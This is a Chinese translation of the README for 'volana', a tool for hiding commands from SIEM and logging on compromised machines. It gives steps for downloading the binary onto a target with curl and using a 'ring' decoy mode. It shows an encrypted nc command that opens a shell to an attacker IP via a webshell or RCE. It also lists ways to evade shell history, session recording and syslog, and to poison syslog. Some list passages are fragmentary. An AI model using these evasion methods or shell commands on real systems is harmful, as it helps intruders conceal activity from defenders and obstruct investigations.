在渗透测试中,一个重要方面是保持隐秘。因此,你应该在行动后清除痕迹。然而,许多基础设施会实时记录命令并发送到 SIEM,这使得事后清理工作变得毫无意义。volana 提供了一种简单的方法来隐藏在被攻陷机器上执行的命令:它提供了一个自己的 shell 运行环境(输入你的命令,volana 为你执行)。这样你可以在行动过程中清除痕迹。
你需要获取一个交互式 shell。(想办法生成它,你是黑客,这是你的工作)。然后在目标机器上下载并启动它。就这样,现在你可以输入你想隐秘执行的命令。
## 从 GitHub Release 下载
## 如果被攻陷机器没有互联网访问,请另寻他法
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## 执行它
./volana
## 你现在已处于隐蔽状态
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
volana 控制台的关键字:
ring:启用环模式,即每条命令都会伴随着大量其他命令一起执行,以掩盖痕迹(针对监控系统调用的解决方案)exit:退出 volana 控制台假设你有一个非交互式 shell(webshell 或盲 RCE),你可以使用 encrypt 和 decrypt 子命令。
在此之前,你需要构建一个嵌入了加密密钥的 volana。
在攻击者机器上
## 使用加密密钥构建 volana
make build.volana-with-encryption
## 将其传输到目标机器(这是唯一可被检测到的命令)
## [...]
## 加密你想要隐秘执行的命令
## (这里是一个 nc bindshell,用于获取交互式 shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> 加密后的命令
复制加密后的命令并通过你的 RCE 在目标机器上 执行它
./volana decr [加密后的命令]
## 现在你拥有一个 bindshell,将其生成为交互式 shell,然后通常使用 volana 来保持隐蔽(./volana)。+ 离开前别忘了移除 volana 二进制文件(因为解密密钥很容易从中提取出来)
为什么不直接用 echo [command] | base64 隐藏命令?
然后在目标上用 echo [encoded_command] | base64 -d | bash 解码。
因为我们需要防范那些会对 base64 使用触发警报或会在命令中寻找 base64 文本的系统。此外,我们希望加大调查难度,而 base64 并非真正的障碍。
请记住,volana 并非让你完全隐形的奇迹。它的目标是让入侵检测和调查变得更困难。
这里所说的“被检测到”是指能否在某个命令被执行时触发警报。
只有 volana 的启动命令行会被捕获。🧠 然而,在执行前加上一个空格,默认的 bash 行为是不会将其保存到历史记录中。
.bash_history、".zsh_history" 等……opensnoop)script、screen -L、sexonthebash、ovh-ttyrec 等)
pkill -9 scriptscreen 稍微难以规避,但它不记录输入(秘密输入:stty -echo => 可规避)/var/log/auth.log)
sudo 或 su 命令logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD 注入以记录日志
抱歉标题党,但贡献者不会获得任何金钱奖励。🐛
如果你发现了以下内容,请告知我:
volana 的方法volana 命令的方法